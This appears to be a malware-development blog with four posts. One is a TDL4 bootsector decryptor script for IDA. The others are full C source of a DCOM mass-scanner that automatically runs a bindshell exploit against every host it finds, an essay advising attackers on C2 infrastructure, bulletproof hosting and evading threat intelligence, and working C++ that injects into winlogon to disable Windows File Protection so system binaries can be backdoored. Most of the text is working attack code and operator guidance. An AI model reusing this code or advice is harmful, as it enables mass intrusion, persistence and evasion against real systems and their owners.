Skip to content

Malware University

Class is in Session

  • About
    • Privacy Policy
  • Contact
  • Resources

Tag: malware

TDL4 IDAPython Decryptor

Posted on September 14, 2021 - September 14, 2021 by admin

This is a script used to unpack a hidden area of the bootsector after a TDL4 infection. This is classic code but still useful is anyone needs it. Written by your humble admin many years ago.

import idaapi

# Simulate C-style for() loop.
def cfor(first, test, update):
    while test(first):
        yield first
        first = update(first)


# Bit-shifting operations.
#def ROR(x, n, bits = 32):
#    mask = (2L**n) - 1
#    mask_bits = x & mask
#    return (x >> n) | (mask_bits << (bits - n))

#def ROL(x, n, bits = 32):
#    return ROR(x, bits - n, bits)
def ROR(byte, count):
    while count > 0:
        byte = (byte >> 1 | byte << 7) & 0xFF
        count -= 1
    return byte


if __name__ == "__main__":
    print "TDL4 Decrypt"
    print "A script to unpack the contents hidden on the bootsector of a TDL4 infected host"
    print ""
    
    encryptedBytes = [None] * 311
    
    rorCount = 311  # 0x137 (CX)
    count = 0
    # target starts at 0x62A in memory
    for i in cfor(int('0x2A', 16), lambda i : i < (311 + i), lambda i : i + 1):
        cryptedByte = idaapi.get_byte(i)
        print "Byte[" + hex(i) + "]:    " + hex(cryptedByte)
        idaapi.patch_byte(i, ROR(cryptedByte, rorCount - count))
        count += 1
        if count == 311:
            break
Posted in UtilitiesTagged bootsector, decryptor, ida pro, idapython, malware, tdl4, windowsLeave a comment

Example C “Wormable” Scanner

Posted on April 28, 2020 - April 28, 2020 by admin

This tool is old but an example that even novice practitioners can have damaging impact on computer systems.

It was used by several underground groups and purportedly compromised a (7) seven-figure number of computer systems around the world at the time of the infamous DCOM vulnerability in 2003/2004.

It relies on advanced exploitation and bug discovery by other groups but was prepared ahead of release by the Polish group who discovered the bug, as they gave a ~three weeks announcement before dropping the 0day. Surely this group was not the only one with such tools ready to go, with further payloads for after a shell was acquired 😉

Before the advent of services like Shodan groups would prescan large address ranges if they knew something was coming and/or they were on the cusp of finding vulnerabilities for a particular service. ISPs were not so strict back then so you could easily do this from home with no issues.

DCOM changed the way ISPs looked at port scanning policies. While not violating national laws they felt it was their moral duty to prevent enumeration techniques as much as possible.

/******************************Windows DCOM Universal Scanner************************\\\\\\\\\\\\
 * 			   Coded by Dominatus<[email protected]>                             \
 *                                                                                              \
 * This exploit was found by LSD<www.lsd-pl.net>                                                \
 * The program to exploit Win2k and WinXP universally was oc192.us Security.                    \
 * I wrote this scanner though, which is what you are looking at right now.                     \
 *                                                                                              \
 * Please stop by irc.undernet.org/#kracknet and check out www.kracknet.org(which isn't finished\
 * yet), and please check out www.hbx.us, which has free shell accounts, and currently hairball \
 * needs some money to keep it up, so please help if you use his services.  Check out           *
 * www.skope6.com, we're a new security group.  We post a lot of computer and security          *
 * information.  Come talk with us at irc.undernet.org/#skope6                                  *
 *                                                                                              *
 \                                                                                              *
 \ Note: Some ISPs block port 135, so you may have problems finding machines on certain ranges  *
 \                                                                                              *
 \ What this program does is either scan for machines with <port> open, with the option to log  *
 \ them to a file, or root the vulnerable IPs from a logfile from a scan, and exploits the OS   *
 \ you choose.                                                                                  *
 \                                                                                              *
 \ 		YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU DO WITH THIS PROGRAM                  *
 \\\\\\\\\\\\\***********************************************************************************/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define ACTIVE 1
#define NOT_ACTIVE 0

#define MAXIMUM_SOCKS 200

struct connection
{
	int sock;
	char status;
	time_t scan_time;
	struct sockaddr_in addr;
};

struct connection ConnectionList[MAXIMUM_SOCKS];

void catchsig();
void initialize_connection(char *logFile);
void check_connection(char logFile[256]);
void rootlog(char *logFile);
void usage(char *argv0)
{
	fprintf(stderr, "\n\n\n	                                 Windows DCOM Universal Scanner\n");
	fprintf(stderr, "                                    Coded by Dominatus<[email protected]>\n\n");
	fprintf(stderr, "                                     A Production of Skope6 Research Group\n");
	fprintf(stderr, "                       www.skope6.com irc.undernet.org/#skope6/#kracknet www.kracknet.org\n\n");
	fprintf(stderr, "==============================================================================================================\n");
	fprintf(stderr, "+--  Skope6 Team: dominatus, sybah, eaglex, icecow, hairball, deversify, provizon, brotroxer, and lazurus  --+\n");
	fprintf(stderr, "==============================================================================================================\n\n");
	fprintf(stderr, "**************************************************************************\n");
	fprintf(stderr, "Usage:\n\n");
	fprintf(stderr, "%s [IP] <-p> <-t> <-r> <-l> <-b> <-s>\n\n", argv0);
	fprintf(stderr, "[IP]:            IP to begin scanning at (1.0.0.0 - 255.255.255.255)\n");
	fprintf(stderr, "-p <port>:       Scan/exploit hosts on this port number(default: 135)\n");
	fprintf(stderr, "-t <timeout>:    Timeout in seconds for sockets(default: 5)\n");
	fprintf(stderr, "-r <logfile>:    Root the servers from a -l <logfile>\n");
	fprintf(stderr, "-l <logfile>:    Log hosts with port (default: 135) open in a logfile\n");
	fprintf(stderr, "-b <port>:       Bindshell port(default: 666)\n");
	fprintf(stderr, "-s <selection>:  Pick which OS you would like to exploit\n");
	fprintf(stderr, "                 Targets: (use this only with option -r <logfile>)\n");
	fprintf(stderr, "                        0    Windows 2000 (Universal)\n");
	fprintf(stderr, "                        1    Windows XP (Universal)(default)\n");
	fprintf(stderr, "**************************************************************************\n\n");
	fprintf(stderr, "Examples:\n\n");
	fprintf(stderr, "%s 207.0.0.1 -l vulnhosts.txt\n", argv0);
	fprintf(stderr, "%s -r vulnhosts.txt -s 0 -p 136\n\n", argv0);
	exit(0);
}

int 		startA = 1, startB = 0, startC = 0, startD = 0;

int		port = 135;
int		root = 0;
int		log = 0;
int		selection = 1;
int		timeout = 5;
int		bindport = 666;

char 		logfile[256];
char 		*win2k = "Windows 2000 (Universal)";
char 		*winxp = "Windows XP (Universal)";

int main(int argc, char *argv[])
{
	int 		done = 0;
        int		i;
        int		k;
        int		ns;
        int		ret;
	
	int 		opt;
	
	char 		IP[16];

	time_t 		scan_time;

	FILE		*logFile;
	
	if (argc < 2)
	{
		usage(argv[0]);
	}
	
	sscanf(argv[1], "%d.%d.%d.%d", &startA, &startB, &startC, &startD);
	
	while ((opt = getopt(argc, argv, "p:t:r:l:s:b:")) != EOF)
	{
		switch (opt)
		{
			case 'p':
				port = atoi(optarg);
				break;

			case 't':
				timeout = atoi(optarg);
				break;
				
			case 'r':
				strncpy(logfile, optarg, sizeof(logfile));
				logFile = fopen(logfile, "r+");
				if (logFile == NULL)
				{
					fprintf(stderr, "Unable to append to %s\n", logfile);
					exit(1);
				}
				fclose(logFile);
				root = 1;
				break;

			case 'l':
				if (optarg == NULL)
					usage(argv[0]);
				strncpy(logfile, optarg, sizeof(logfile));
				logFile = fopen(logfile, "a+");
				if (logFile == NULL)
				{
					fprintf(stderr, "Unable to append to %s\n", logfile);
					exit(1);
				}
				fclose(logFile);
				log = 1;
				break;

			case 's':
				selection = atoi(optarg);
				break;

			case 'b':
				bindport = atoi(optarg);
				break;
				
			case '?':
				usage(argv[0]);
				break;

			default:
				usage(argv[0]);
		}
	}

	if (!root)
		if (strlen(argv[1]) > 15)
			usage(argv[0]);
	
	initialize_connection(logfile);

	scan_time = time(0);

	if (log && root)
	{
		fprintf(stderr, "You can\'t use the -l(log) and -r(root hosts from log) together\n");
		exit(1);
	}

	if (!root)
	{
		if (startA > 255 || startB > 255 || startC > 255 || startD > 255)
			usage(argv[0]);

		if (startA < 1 || startB < 0 || startC < 0 || startD < 0)
			usage(argv[0]);
	}
	
	if (root)
		rootlog(logfile);
	else
		signal(SIGINT, catchsig);

	while (!done)
	{
		for (i = 0; i < MAXIMUM_SOCKS; i++)
		{
			if (ConnectionList[i].status == NOT_ACTIVE)
			{
				ConnectionList[i].sock = socket(AF_INET, SOCK_STREAM, 0);
				if (ConnectionList[i].sock != -1)
				{
					ret = fcntl(ConnectionList[i].sock, F_SETFL, O_NONBLOCK);
					if (ret == -1)
					{
						fprintf(stderr, "Unable to set O_NONBLOCK\n");
						close(ConnectionList[i].sock);
					}
					else
					{
						memset((char *)IP, 0, sizeof(IP));
						snprintf(IP, sizeof(IP), "%d.%d.%d.%d", startA, startB, startC, startD);
						ConnectionList[i].addr.sin_addr.s_addr = inet_addr(IP);
						if (ConnectionList[i].addr.sin_addr.s_addr == -1)
						{
							fprintf(stderr, "\nInvalid IP\n");
							exit(1);
						}
						ConnectionList[i].addr.sin_family = AF_INET;
						ConnectionList[i].addr.sin_port = htons(port);
						ConnectionList[i].scan_time = time(0);
						ConnectionList[i].status = ACTIVE;
						startD++;
						
						if (startD == 256)
						{
							if (startC < 255)
							{
								startD = 0;
								startC++;
							}
							else
							{	
								if (startB < 255)
								{
									startD = 0;
									startC = 0;
									startB++;
								}
								else
								{	
									if (startA < 255)
									{
										startD = 0;
										startC = 0;
										startB = 0;
										startA++;
									}
									else
									{
										fprintf(stderr, "Finished\n");
										
										for (i = 0; i < MAXIMUM_SOCKS; i++)
											close(ConnectionList[i].sock);
										
										exit(0);
									}
								}
							}
						}
					}
				}
			}
		}
		
		check_connection(logfile);
	}
}

void catchsig()
{
	int 		i;

	fprintf(stderr, "\n\nCtrl+C caught\n");
	fprintf(stderr, "Closing Connections...\n");

	for (i = 0; i < MAXIMUM_SOCKS; i++)
	{
		close(ConnectionList[i].sock);
	}

	fprintf(stderr, "Connections Successfully Closed\n");
	exit(0);
}

void initialize_connection(char *logFile)
{
	int 		i;

	for (i = 0; i < MAXIMUM_SOCKS; i++)
	{
		ConnectionList[i].status = NOT_ACTIVE;
		memset((struct sockaddr_in *)&ConnectionList[i].addr, 0, sizeof(struct sockaddr_in));
	}

	fprintf(stderr, "                               Windows DCOM Universal Scanner\n");
	fprintf(stderr, "                          coded by Dominatus<[email protected]>\n\n");
	fprintf(stderr, "                            A Production of Skope6 Research Group\n");
	fprintf(stderr, "             www.skope6.com irc.undernet.org/#skope6/#kracknet www.kracknet.org\n\n\n");
	
	if (!root)
	{
		fprintf(stderr, "Starting scan from %d.%d.%d.%d    Port: 135 Timout: %d second(s)\n", startA, startB, startC, startD, timeout);
		fprintf(stderr, "Press Ctrl+C to stop or Ctrl+Z to suspend\n\n");
	}
}

void check_connection(char logFile[256])
{
	int 		i;
	int 		ret;
	int		selectionCheck = selection;

	char		IPaddress[16];

	FILE		*logf;

	for (i = 0; i < MAXIMUM_SOCKS; i++)
	{
		if ((ConnectionList[i].scan_time < (time(0) - timeout)) && (ConnectionList[i].status == ACTIVE))
		{
			close(ConnectionList[i].sock);
			ConnectionList[i].status = NOT_ACTIVE;
		}
		
		else if (ConnectionList[i].status == ACTIVE)
		{
			memset(ConnectionList[i].addr.sin_zero, 0, 8);
			ret = connect(ConnectionList[i].sock, (struct sockaddr *)&ConnectionList[i].addr, sizeof(struct sockaddr_in));
			strncpy(IPaddress, (char *)inet_ntoa(ConnectionList[i].addr.sin_addr), sizeof(IPaddress));			
			if (ret == -1)
			{
				if (errno == EISCONN)
				{
					fprintf(stderr, "%s\n", IPaddress, (time(0) - ConnectionList[i].scan_time));
					close(ConnectionList[i].sock);
					ConnectionList[i].status = NOT_ACTIVE;
				}

				if ((errno != EALREADY) && (errno != EINPROGRESS))
				{
					close(ConnectionList[i].sock);
					ConnectionList[i].status = NOT_ACTIVE;
				}
			}
			else
			{
				if (log)
				{
					logf = fopen(logFile, "a+");
					fprintf(logf, "%s\n", IPaddress);
					fclose(logf);
				}
				
				else
					fprintf(stderr, "Host: %s\n", IPaddress);
				
				close(ConnectionList[i].sock);
				ConnectionList[i].status = NOT_ACTIVE;
			}
		}
	}
}

void rootlog(char *logFile)
{
	int selectionCheck = selection;

	char		IPaddress[256];
	char 		exploitString[256];

	FILE		*logf;

	logf = fopen(logFile, "r+");

	fprintf(stderr, "\nHold Ctrl+C to quit\n");
	
	while ((fgets(IPaddress, sizeof(IPaddress), logf)) != NULL)
	{
		if (selectionCheck == 0)
		{
			snprintf(exploitString, sizeof(exploitString), "./oc192-dcom -d %s -t %d -p %d -l %d", IPaddress, selectionCheck, port, bindport);
			fprintf(stderr, "\nTrying to exploit %s using %s\n\n", IPaddress, win2k);
			system(exploitString);
		}
		else if (selectionCheck == 1)
		{
			snprintf(exploitString, sizeof(exploitString), "./oc192-dcom -d %s -t %d -p %d -l %d", IPaddress, selectionCheck, port, bindport);
			fprintf(stderr, "\nTrying to exploit %s using %s\n\n", IPaddress, winxp);
			system(exploitString);
		}
		else
			fprintf(stderr, "\nSomething Failed\n");
	}
	
	fprintf(stderr, "\nFinished\n");
	exit(0);
}

Posted in Malware DevelopmentTagged c, dcom, exploit, history, malware, scanner, wormLeave a comment

C2 Management Overview

Posted on July 16, 2019 - July 16, 2019 by admin

With the proliferation of connection firewalling techniques (hard/soft), data filtering, and government mandates, management of compromised devices forced campaign tactics to shift towards an indirect method of communications with their code. Operating system vendors getting their products owned with remotely-exploitable code listening on all devices by default, leading way to massive worms which lead to wide internet outages and even outright network destruction in the worst cases forced them to take serious looks at security. “Bindshell” is an archaic relic of times past.

Malware authors would frequently demonstrate, or use, “bindshell” payloads to offer operational functionality post-exploitation. It was the guarantee of an exploit’s success and appeared as a finish line concluding a successful exploitation exercise. Several critical vulnerabilities and their resulting automated exploitation via worms and aggressive scanners would conclude this technique in the chapters of hacker history.

The MS Blaster (DCOM) vulnerability found and demonstrated publicly by the LSD group out of Poland lead to, perhaps, the most lucrative environment the world has ever publicly seen (and may see ever) in the entirety of the internet’s existence (counting per capita connected machines during the time period).

Practically every NT-based operating system connected to a network was exploitable up to the latest Windows XP (SP1) version at that time.


Many ISPs and institutions around the world had open network policy. The landscape was littered with NetBIOS-accessible machines in the hundreds of millions across the Internet. It was a slaughterhouse as even power plants (East Coast USA) were probably affected by these attacks.

The panacea was the abrupt closure of ALL ports for client’s public and private IP addresses in many ISP gardens. Organizations were rapidly pushing restrictive firewall policy for internal and external network segments. Many had to learn the lesson the hard way.

It was both a joyous time for hackers and a solemn moment as everyone realized things would never be the same after this.

Microsoft policy, always placing security an afterthought of the software creation process, changed overnight, acknowledging the company’s role in proactively debugging their code to prevent worldwide device compromise.

No longer would your SubSeven or BO backdoor work. The game was raised. Malware authors had to change their tactics at a basic design level. Calling into a target’s network was no longer an option for most operations.

As with most other applications, they begun to rely on polling to keep updates and issue commands.

C2 management is often powered by a traditional web stack:

- HTTP Server
- (Optional) Load Balancer(s)
    (Optional) Content Delivery Network(s)
- (Optional) Redirector(s)
- DB Mechanism
    Does not always have to be a server, although it probably should

How these are designed, configured, deployed, and protected are up to the operation’s infrastructure leader(s), ideally with input from those with a significant background in systems administration and networking.

For a sophisticated group with plans of multiple extended campaigns during their existence it’s better to have significant resources spent on building out and maintaining this infrastructure.

There are cases in which an attacker may use a barebones infrastructure. Standalone or all-in-one C2 packages are rarely seen in the wild.

In cases of a solo adventure, it is still best to separate your infrastructure as much as possible. CI/CD methodology has come a long way since the early 2000s and continues to improve. With proper scripting experience a single programmer can manage quite an infrastructure. Maintaining relationships with the proper “bullethost” providers becomes the harder problem to solve.

One must take into account the OpSec needed for any operations carried out via this infrastructure. Proper documentation and monitoring of this infrastructure is needed if one is forgetful. In the case of teams, it is imperative to have this information ready for anyone who needs to know.

One must also take into account threat information shared among the defensive community. Threat Intelligence feeds often provide information about various campaigns that researchers and vendors have come across in an efforts to increase their reputation along with interest in the products. By limiting your campaign activities to the fewest targets possible you can minimize your exposure to such organizations. Despite the utmost care,
your activities always have a possibility of exposure. Thus, if possible, always routinely search for certain targets showing up in public news or search engine sources.

The more advanced organizations may have access to defensive teams subscribed to commercial, public, or private threat sharing information sources. These can prove invaluable for protecting the unit as a whole.

Log management, as with any well-monitored service, is a key responsibility. This is the more important task if you do not have the resources to monitor both Threat Intelligence feeds and logs of your servers. A paranoid malware author will have mechanisms in place to detect odd traffic patterns in C2 logs:

Headers not normally seen
HTTP verbs that are not used (not counting GET)
HTTP variables that are not used (any verbs which accept arbitrary input)
Non-HTTP compliant traffic to HTTP services

Repeat the logic as necessary for whichever protocol you use for C2 communications. Due to current firewall policies across nations and organizations, HTTP(S) is used for most communication in some form. As the internet changes the underlying principles will not change.

Posted in Campaign ManagementTagged c2, campaigns, continuous development, continuous integration, firewalls, log management, malware, system administrationLeave a comment

Disabling Windows File Protection

Posted on June 27, 2019 - June 27, 2019 by admin

This is an example of working code that was used to disable the Windows File Protection feature in the NT subsystem for OSes Windows 2000 through XP/2003. It is one of multiple ways to disable SFC from triggering on a protected file from modification.

There is a more thorough and complete method which requires adding kernel module code along with modification of the boot list (and location of target payload to overwrite legitimate target) which works for all protected file modifications with 100% success rate. Even kernel (ntoskrnl.exe) modification works with this method. The core snippet of the code is located at the bottom of this article.

Such code was useful for backdooring system utilities in “non-writable” directories (such as C:/WINDOWS/).

Hijack Winlogon Execution

// DisableWFP.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#define THREAD_WAIT 1000


DWORD dwBaseAddress;

BOOL IsWinlogon(DWORD pid)
{
	TCHAR processName[MAX_PATH] = _T("FILLER");

	HANDLE hProcess = OpenProcess(	PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
									FALSE,
									pid);
	if (hProcess)
	{
		HMODULE hModule;
		DWORD sizeModules;

		if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
			GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
	}

	if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
	{
		// Match found.
		return TRUE; 
	}

	return FALSE;
}

FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
	if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
		return NULL;

	HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
	if (!hLibrary)
		return NULL;

	FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
	if (!pFunction)
		return NULL;

	return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}

LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
	return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}

// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
	HMODULE hLoaded = LoadLibrary(lpPath);
	if (!hLoaded)
	{
		return NULL;
	}

	else
	{
		void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
		DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
		FreeLibrary(hLoaded);

		return hPayloadBase + dwOffset;
	}

	return NULL;
}

bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
	DWORD dwExitCode;
	HANDLE hThread = CreateRemoteThread(hProcess,										NULL,										0,										(LPTHREAD_START_ROUTINE) pFunction,										NULL,										0,
NULL);

	if (!hThread)
		return false;

	if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
		return false;

	if (!GetExitCodeThread(hThread, &dwExitCode))
		return false;

	CloseHandle(hThread);
	dwBaseAddress = dwExitCode;

	return dwExitCode != 0;		// Internal DLL function must return 0 for failure on this logic.
}

int _tmain(int argc, _TCHAR* argv[])
{
	DWORD processList[1024], numBytes;
	DWORD winlogonPID;
	int ordinal = 2;

	FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal);	// int SfcTerminateWatcherThread()
	if (!pEntry)
	{
		MessageBox(0,
				   _T("Unable to disable WFP"),
				   _T("WFP Error"),
				   MB_OK);
		
		return 1;
	}

	LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
	if (!EnumProcesses(processList, sizeof(processList), &numBytes))
		goto ___WFPMiscErr;

	for (int i = 0; processList[i]; i++)
		if (IsWinlogon(processList[i]))
			winlogonPID = processList[i];
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
	if (!hProcess)
		goto ___WFPMiscErr;

	if (!CallRemoteFunction(hProcess, pFunction))
	{
___WFPMiscErr:
		MessageBox(0,
					_T("WFP Random Error"),
					_T("WFP Error"),
					MB_OK);
	
		return 4;
	}

	MessageBox(0,
				_T("WFP successfully disabled"),
				_T("WFP Success"),
				MB_OK);
	CloseHandle(hProcess);

	return 0;
}

Service-based Bypass

// InjectionSvc.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"


DWORD dwBaseAddress;

BOOL IsWinlogon(DWORD pid)
{
	TCHAR processName[MAX_PATH] = _T("FILLER");

	HANDLE hProcess = OpenProcess(	PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
									FALSE,
									pid);
	if (hProcess)
	{
		HMODULE hModule;
		DWORD sizeModules;

		if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
			GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
	}

	if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
	{
		// Match found.
		return TRUE; 
	}

	return FALSE;
}

FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
	if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
		return NULL;

	HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
	if (!hLibrary)
		return NULL;
	dwBaseAddress = (DWORD) hLibrary;

	FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
	if (!pFunction)
		return NULL;

	return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}

LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
	return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}

// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
	HMODULE hLoaded = LoadLibrary(lpPath);
	if (!hLoaded)
	{
		return NULL;
	}

	else
	{
		void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
		DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
		FreeLibrary(hLoaded);

		return hPayloadBase + dwOffset;
	}

	return NULL;
}

bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
	DWORD dwExitCode;

	HANDLE hThread = CreateRemoteThread(hProcess,										NULL,										0,										(LPTHREAD_START_ROUTINE) pFunction,										NULL,										0,
NULL);
	if (!hThread)
		return false;

	if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
		return false;

	if (!GetExitCodeThread(hThread, &dwExitCode))
		return false;

	CloseHandle(hThread);
	dwBaseAddress = dwExitCode;

	// This is for debugging.
	DWORD gle = 0;
	if (!dwExitCode)
		gle = GetLastError();	// Keeps returning 299 (ERROR_PARTIAL_COPY).

	return dwExitCode != 0;		// Internal DLL function must return 0 for failure on this logic.
}

SERVICE_STATUS			g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE	g_StatusHandle = NULL;
HANDLE					g_ServiceStopEvent = INVALID_HANDLE_VALUE;

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD);
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam);

#define SERVICE_NAME _T("Disable WFP For System Utility Modification in Field")

VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode)
{
	switch (ctrlCode)
	{
	case SERVICE_CONTROL_STOP:
		if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
			break;

		// Perform tasks to stop service.
		g_ServiceStatus.dwControlsAccepted = 0;
		g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
		g_ServiceStatus.dwWin32ExitCode = 0;
		g_ServiceStatus.dwCheckPoint = 4;

		if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
			OutputDebugString(_T("Injection Service:  ServiceCtrlHandler:  SetServiceStatus returned error"));

		// Signal worker thread to start shutting down.
		SetEvent(g_ServiceStopEvent);
		break;

	default:
		break;
	}
}

DWORD WINAPI ServiceWorkerThread(LPVOID lpParam)
{
	// Periodically check if service has been requested to stop.
	while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0)
	{
		// Perform main service function below.
		DWORD processList[1024] = {0}; 
		DWORD numBytes = 0;
		DWORD winlogonPID = 0;
		int ordinal = 2;

		FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal);	// int SfcTerminateWatcherThread()
		if (!pEntry)
		{
			//MessageBox(0,
			//		   _T("Unable to disable WFP"),
			//		   _T("WFP Error"),
			//		   MB_OK);
			OutputDebugString(_T("Unable to disable WFP"));
			
			return 1;
		}

		LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
		if (!EnumProcesses(processList, sizeof(processList), &numBytes))
			goto ___WFPMiscErr;

		for (int i = 1; processList[i]; i++)
			if (IsWinlogon(processList[i]))
				winlogonPID = processList[i];
		HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
		if (!hProcess)
			goto ___WFPMiscErr;

		if (!CallRemoteFunction(hProcess, pFunction))
		{
___WFPMiscErr:
			//MessageBox(0,
			//			_T("WFP Random Error"),
			//			_T("WFP Error"),
			//			MB_OK);
			OutputDebugString(_T("WFP Random Error"));
		
			return 4;
		}

		//MessageBox(0,
		//			_T("WFP successfully disabled"),
		//			_T("WFP Success"),
		//			MB_OK);
		OutputDebugString(_T("WFP successfully disabled"));
		CloseHandle(hProcess);

		return ERROR_SUCCESS;
	}
}

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
	DWORD Status = E_FAIL;

	while (!IsDebuggerPresent())
		;

	// Register service control handler with SCM.
	g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
	if (!g_StatusHandle)
		goto ___exit;

	// Tell the service controller we are starting.
	ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
	g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
	g_ServiceStatus.dwControlsAccepted = 0;
	g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwServiceSpecificExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 0;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus returned error"));

	// Create a service stop event to wait on.
	g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
	if (!g_ServiceStopEvent)
	{
		// Error creating event.
		// Tell service controller we stopped and exit.
		g_ServiceStatus.dwControlsAccepted = 0;
		g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
		g_ServiceStatus.dwWin32ExitCode = GetLastError();
		g_ServiceStatus.dwCheckPoint = 1;

		if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
			OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to create event"));
		goto ___exit;
	}

	// Tell service controller we are started.
	g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
	g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 0;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to inform service controller of start"));

	// Start thread to perform main task.
	HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL);
	
	// Wait until our worker thread exits, signaliing that service needs stopping.
	WaitForSingleObject(hThread, INFINITE);

	// Cleanup.
	CloseHandle(g_ServiceStopEvent);

	// Tell service controller we are stopped.
	g_ServiceStatus.dwControlsAccepted = 0;
	g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 3;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to inform service controller of stop"));

___exit:
	return;
}

int _tmain(int argc, _TCHAR* argv[])
{
	SERVICE_TABLE_ENTRY ServiceTable[] = {
											{SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
											{NULL, NULL}
										 };

	if (!StartServiceCtrlDispatcher(ServiceTable))
		return GetLastError();

	return 0;
}

Header file

// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//

#pragma once

#include "targetver.h"

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Psapi.h>


// TODO: reference additional headers your program requires here
#pragma comment(lib, "psapi.lib")

Kernel-mode Driver to Backdoor All Binaries

// Purpose:
//				Let the agent know we successfully updated.
//				"Touch" the file "patch.scc" with the "next_version" number.
//				Our agent will copy contents of "patch.scc" to "patch.ver" and
//				delete "patch.scc" after.
NTSTATUS UpdateSystemPatchVersion(DWORD next_version)
{
	UNICODE_STRING						patch_version_file_name = { 0 };
	OBJECT_ATTRIBUTES					patch_version_file_attr = { 0 };
	FILE_STANDARD_INFORMATION			patch_version_standard_information = { 0 };
	HANDLE								patch_version_handle = 0;
	LARGE_INTEGER						max_patch_scc_size = { 0 };

